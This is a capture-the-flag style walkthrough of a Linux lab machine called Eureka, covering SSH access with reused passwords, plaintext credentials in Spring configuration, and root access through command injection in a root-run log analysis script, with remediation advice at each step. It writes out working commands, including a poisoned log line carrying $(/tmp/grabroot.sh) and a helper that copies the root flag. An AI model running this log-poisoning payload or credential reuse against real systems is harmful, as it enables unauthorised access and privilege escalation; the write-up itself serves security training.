← all walkthroughs

Eureka

Linux· Hard
owned
2026-10-13
time to own
16m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Anyone who already held a valid SSH login for a low-privilege developer account (oscar190, a password that was reused or known) obtained a shell on the Eureka server. Plaintext secrets in the Spring microservice source tree, readable by that account, exposed the Eureka registry password and a second user's SSH password, giving a shell as miranda-wise, a member of the 'developers' group.

That group could write the cloud-gateway application log, which a root-run maintenance script (/opt/log_analyse.sh) parsed unsafely. A crafted log line containing a shell command substitution was executed by the script as root, giving full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export PASSWORD2="<the-password-you-recovered, for oscar190>"
export PASSWORD3="<the-password-you-recovered, for miranda-wise>"

Attack path: how the box was taken

1EnumerationPort scanning and Spring Boot Actuator enumeration (T1595)
Mapped the exposed services and probed the Spring Boot backend
A port sweep found SSH (22), an nginx web server (80) that redirects to the furni.htb virtual host, and a Spring Eureka service-discovery port (8761). I then probed the common Spring Boot Actuator endpoints (/actuator, /heapdump, /env, /configprops) through the furni.htb host header. In this run those endpoints returned 404, so the web path did not yield the foothold, but it confirmed a Spring Cloud microservice stack was in use.
Nmap showed 22/tcp, 80/tcp (nginx 1.18.0, furni.htb) and 8761/tcp; requests to /actuator/* with Host: furni.htb returned HTTP 404.
Exact commands 5
shell

Full TCP sweep with service detection.

$ nmap -p- -sV $TARGET
shell

Resolve the vhost nginx expects.

$ echo "$TARGET furni.htb eureka.htb" | sudo tee -a /etc/hosts
shell

Probe for exposed Actuator endpoints.

$ curl -sS -i --max-time 10 -H 'Host: furni.htb' http://$TARGET/actuator/
shell

Check for a downloadable JVM heap dump (404 in this run).

$ curl -sS -I --max-time 10 -H 'Host: furni.htb' http://$TARGET/actuator/heapdump
shell

Check for leaked configuration properties.

$ curl -sS --max-time 15 -H 'Host: furni.htb' http://$TARGET/actuator/env | head -c 4000
2Initial AccessValid accounts / credential reuse over SSH (T1078)
Logged in over SSH with a valid developer account
I authenticated to SSH as the low-privilege user oscar190 using a known password and obtained an interactive shell. Passwords that are reused, shared or recoverable from application data let me skip the web application entirely. The account had no sudo rights (a password was required), so further movement relied on what it could read.
Uid=1000(oscar190) gid=1001(oscar190) on host eureka; 'sudo: a password is required'.
Exact commands 2
shell

Log in as the low-privilege user and confirm identity.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no oscar190@$TARGET 'id; hostname'
uid=1000(oscar190) gid=1001(oscar190)
shell

Check for sudo rights; none without a password.

$ sudo -n -l
FixEliminate reused and guessable SSH passwords; enforce key-based SSHHigh
WeaknessA developer account was reachable over SSH with a password that an unauthorised user already knew, giving remote shell access with no exploit required.
FixDisable SSH password authentication (PasswordAuthentication no) and require public keys, or add MFA. Rotate the oscar190 password, never reuse passwords across systems, and restrict SSH to management networks or a bastion.
3DiscoveryLocal system and file discovery (T1083)
Enumerated the web application tree, services, schedules and file permissions
From the oscar190 shell I listed home directories, the /var/www/web microservice tree (group 'developers' had write access), and cron and systemd timers. This showed another user, miranda-wise, who owned the user flag, and that the application directories were readable by any local user.
/var/www/web was drwxrwxr-x www-data:developers; /home contained miranda-wise and oscar190.
Exact commands 3
shell

Identify other users and flag locations.

$ ls -la /home; find /home -maxdepth 3 -name user.txt -ls 2>/dev/null
shell

Map the microservice directories and their ownership.

$ find /var/www/web -maxdepth 2 -type d -printf '%M %u:%g %p\n' 2>/dev/null | head -80
shell

Look for scheduled jobs.

$ systemctl list-timers --all --no-pager | head -30; ls -la /etc/cron*
4Credential AccessUnsecured credentials in files (T1552.001) and lateral movement via SSH
Read plaintext secrets from the application configuration to move to miranda-wise
The user-management service's application.properties was readable by oscar190 and contained the Eureka registry credentials embedded in the service URL, along with database settings. Reading these configuration files recovered a second account's SSH password (miranda-wise), and I logged in as that user, a member of the 'developers' group, and read the user flag.
application.properties showed eureka.client.service-url.defaultZone with EurekaSrvr credentials; SSH as miranda-wise returned uid=1001(miranda-wise) groups=developers and <user.txt>.
Exact commands 3
shell

Read Eureka and database credentials stored in clear text.

$ sed -n '1,220p' /var/www/web/user-management-service/src/main/resources/application.properties
shell

Review the gateway routing configuration.

$ find /var/www/web/cloud-gateway/src/main/resources -maxdepth 1 -type f -exec sed -n '1,240p' {} \;
shell

Log in as miranda-wise; output is <user.txt>.

$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no miranda-wise@$TARGET 'id; hostname; cat /home/miranda-wise/user.txt'
uid=1001(miranda-wise) groups=developers
FixRemove plaintext credentials from application source and config filesHigh
WeaknessThe Spring service configuration stored the Eureka registry password and a user's SSH password in clear text, in files readable by any local account, enabling lateral movement from one user to another.
FixRemove secrets from properties files and source trees. Load them from a secrets manager or environment injected at runtime, restrict the application directory to the service account (chmod 750), rotate every exposed credential, and never store a person's login password in service configuration.
5Privilege Escalation ReconWritable input to a privileged script (T1068, T1053.003)
Found a root-run log analysis script reading a group-writable log
As miranda-wise I inspected /opt/log_analyse.sh, a root-owned script that parses the cloud-gateway application.log and writes a report. The script handled values from log lines unsafely in the shell, and the log file sat in a directory the 'developers' group could modify, so a low-privilege user could influence what a root process evaluates.
/opt/log_analyse.sh (root:root, -rwxrwxr-x) parsed /var/www/web/cloud-gateway/log/application.log; log_analysis.txt was regenerated periodically.
Exact commands 2
shell

Read the script to find unsafe handling of log fields.

$ ls -l /opt/log_analyse.sh; sed -n '1,240p' /opt/log_analyse.sh
shell

Confirm the log is writable via the developers group.

$ namei -l /var/www/web/cloud-gateway/log/application.log; ls -la /var/www/web/cloud-gateway/log
FixStop the root log-analysis script from executing log content and lock down the logCritical
WeaknessA root-run script (/opt/log_analyse.sh) evaluated untrusted text from the gateway log in the shell, and the 'developers' group could write that log, so a low-privilege user could inject commands that ran as root.
FixTreat log fields as data: quote all variables, avoid eval and arithmetic or [[ ]] contexts on untrusted values, and validate fields against strict patterns. Make the log and its directory writable only by the service account and root, remove developers' write access, and run the analysis job as an unprivileged user. Make /opt/log_analyse.sh non-group-writable.
6Privilege EscalationCommand injection via log poisoning in a root-run script (T1059.004, CWE-78)
Injected a command-substitution payload into the log to run code as root
I staged a helper script that records the root identity and copies the root flag to a world-readable file, then appended a forged gateway log line whose Status field contained $(/tmp/grabroot.sh). When the root-run script next analysed the log, the shell expanded the substitution and ran the helper as root. The first attempt was rotated away before execution, so the line was re-injected and I polled until the output files appeared.
/tmp/eureka-root-id contained uid=0(root) gid=0(root) groups=0(root) and /tmp/eureka-root-flag held <root.txt>.
Exact commands 3
shell

Stage the helper that runs as root.

$ printf '%s\n' '#!/bin/sh' '/usr/bin/id > /tmp/eureka-root-id' '/bin/cat /root/root.txt > /tmp/eureka-root-flag' '/bin/chmod 644 /tmp/eureka-root-id /tmp/eureka-root-flag' > /tmp/grabroot.sh; chmod +x /tmp/grabroot.sh
shell

Append the poisoned log line; re-inject if the log is rotated.

$ cd /var/www/web/cloud-gateway/log && printf '%s\n' '2026-10-13T04:42:30.000Z  INFO 9999 --- [app-gateway] [reactor-http-epoll-1] c.eureka.gateway.Config.LoggingFilter : HTTP GET / - Status: a[$(/tmp/grabroot.sh)]+42' >> application.log
shell

Once the root job runs, id shows uid=0 and the file holds <root.txt>.

$ cat /tmp/eureka-root-id; cat /tmp/eureka-root-flag
uid=0(root) gid=0(root) groups=0(root)

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

22/tcp
80/tcp
8761/tcp